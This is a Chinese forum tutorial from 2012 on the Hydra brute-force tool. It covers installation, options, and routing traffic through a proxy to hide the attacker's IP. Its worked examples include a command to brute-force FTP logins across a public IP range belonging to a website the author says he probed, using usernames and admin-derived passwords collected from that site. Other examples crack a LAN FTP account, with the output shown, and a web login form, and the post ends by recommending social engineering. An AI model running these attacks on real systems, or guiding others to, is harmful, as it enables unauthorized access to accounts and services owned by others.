管理员
|
阅读:11118回复:2
暴力破解工具hydra的简介与使用
楼主#
更多
发布于:2012-12-20 13:48
 | |  |  | [0x00]工具简介 hydra著名黑客组织thc的一款开源的暴力破解工具,可以破解多种密码。其官网http://www.thc.org,本文测试版本为最新版本5.8,可支持: TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3,IMAP, NNTP, PCNFS,ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable,AFP, LDAP2, Cisco AAA等密码破解。唯一觉得不大方便的是,用于密码破解的字典必须我们自己制作指定
 [0x01]安装手记cd到下载好的安装程序目录,解压软件包sudo tar zxvf hydra-5.8-src.tar.gz得到hydra-5.8-src文件夹,进入该文件夹,按照安装说明首先进行配置sudo ./configure会检测到当前系统一些组建配置,主要是对于破解支持模块的检测,大家根据需要安装对应的支持库和依赖包,在以后实战过程我可能会提到相关模块。直接继续编译,sudo make和sudo makeinstall,这样就安装完成了。另外值得说明的是,该软件支持GUI的人性化界面,个人不推荐,感兴趣的朋友可以到官网下载页面查看。[0x02]参数详解(官网是英文,下面我翻译成中文)格式:hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-oFILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]server service [OPT] # 可选的 -R 继续从上一次进度接着破解 -S 采用SSL链接(大写的S) -s PORT 如果非默认端口,可通过这个参数指定 -l LOGIN 小写,用于指定破解的用户,对特定用户破解 -L FILE 大写,用于指定用户的用户名字典 -p PASS 小写,用于指定密码破解,少用,一般是采用密码字典 -P FILE 大写,用于指定密码字典 -e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探 -C FILE 使用冒号分割格式 例如 "登录名:密码"来代替-L/-P参数 -M FILE 指定目标列表文件一行一条 -o FILE 指定结果输出文件 -f 在使用-M参数以后 找到第一对登录名或者密码的时候中止破解 -t TASKS 同时运行的线程数,默认为16 -w TIME 设置最大超时的时间,单位秒,默认是30s -v / -V 显示详细过程 server 目标ip service 指定服务名,支持如下: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnthttp[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vncldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rloginpcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeaksip vmauthd firebird ncp afp OPT 可选项如何使用代理服务器进行破解(这一点主要处于攻击者的ip,处于自身安全考虑)----------------------------HYDRA_PROXY_HTTP 变量参数可以用来定义代理服务器(只能使用http代理)语法:HYDRA_PROXY_HTTP="http://ip:port/"HYDRA_PROXY_CONNECT=ip:8000如果你使用的代理需要用户名和密码,请使用HYDRA_PROXY_AUTH 变量参数:HYDRA_PROXY_AUTH="the_login:the_password"[0x03]实例破解1.ftp密码破解结合自己实例,最近试探一个网站,得到了ftp用户,是serv-u6.02但是无法破解密码,我通过收集这些ftp用户将结果保存在ftpuser.lst文件中,同时通过收集各个网站的信息,包括管理员的信息组合形成一个密码字典ftppwd.lst。于是,就开始尝试破解,命令如下:sudo hydra -L /home/dict/ftpuser.lst -P /home/dict/ftppwd.lst 218.86.103.*ftp这个是基于多用户密码破解,另外还有一个本地ftp密码破解方案。为了效率我直接将密码写入到pwd.lst字典中sudo hydra -l administrator -P /home/dict/pwd.lst -v 192.168.8.6 ftp返回结果如下,成功破解了密码:# 该行说明任务总数,会根据你提供用户名和密码进行计算,l:1/p:2表示一个用户名,密码字典中又2个密码[DATA] 2 tasks, 1 servers, 2 login tries (l:1/p:2), ~1 tries per task [DATA] attacking service ftp on port 21[VERBOSE] Resolving addresses ... done[STATUS] attack finished for 192.168.8.6 (waiting for childs tofinish)# 破解成功,直接显示出来,当然你可以让他输出到文件,通过参数-o设定[21][ftp] host: 192.168.8.6 login: administrator password: 123通过这种方法有极大可能破解这个ftp,当然关键在于你的字典,我们可以通过字典生成器就可以很好的破解了。2.samba密码破解利用nmap扫描到服务器开启了samba服务,于是尝试收集该服务器信息组合成密码字典。由于该应用类似ftp破解,这里不对具体演示,只是将ftp服务改成smb服务即可。3.网站后台密码破解该软件的强大之处就在于支持多种协议的破解,同样他也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具又一个不好的地方就是,如果目标网站登录时候需要验证码无法破解了。带参数破解如下:<form action="index.php"method="POST"><input type="text" name="name" /><BR><br><input type="password" name="pwd" /><br><br><input type="submit" name="sub" value="提交"> 假设有以上一个密码登录表单,我们执行命令:sudo hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form“index.php:name=^USER^;pwd=^PASS^:<title>invalido</title>”#破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t是同时线程数为1,-f是当破解了一个密码就停止,ip是本地,就是目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解后面参数是网页中对应的表单字段的name属性,后面title中的内容是表示错误猜解的返回信息提示,可以自定义。[0x04]总结该工具的强大只有你自行体验了,当然密码能否破解关键在于你的字典。以上一些实例操作仅仅是提供的支持的众多服务中的3种,其他的服务也同样非常强大,留给大家自行体会。其实密码字典的生成有相关的工具,你可以自己生成符合一定规则的密码字典。当然如果你是一个成功的社工专家,往往能够得到事半功倍的效果
| |  | |  |
|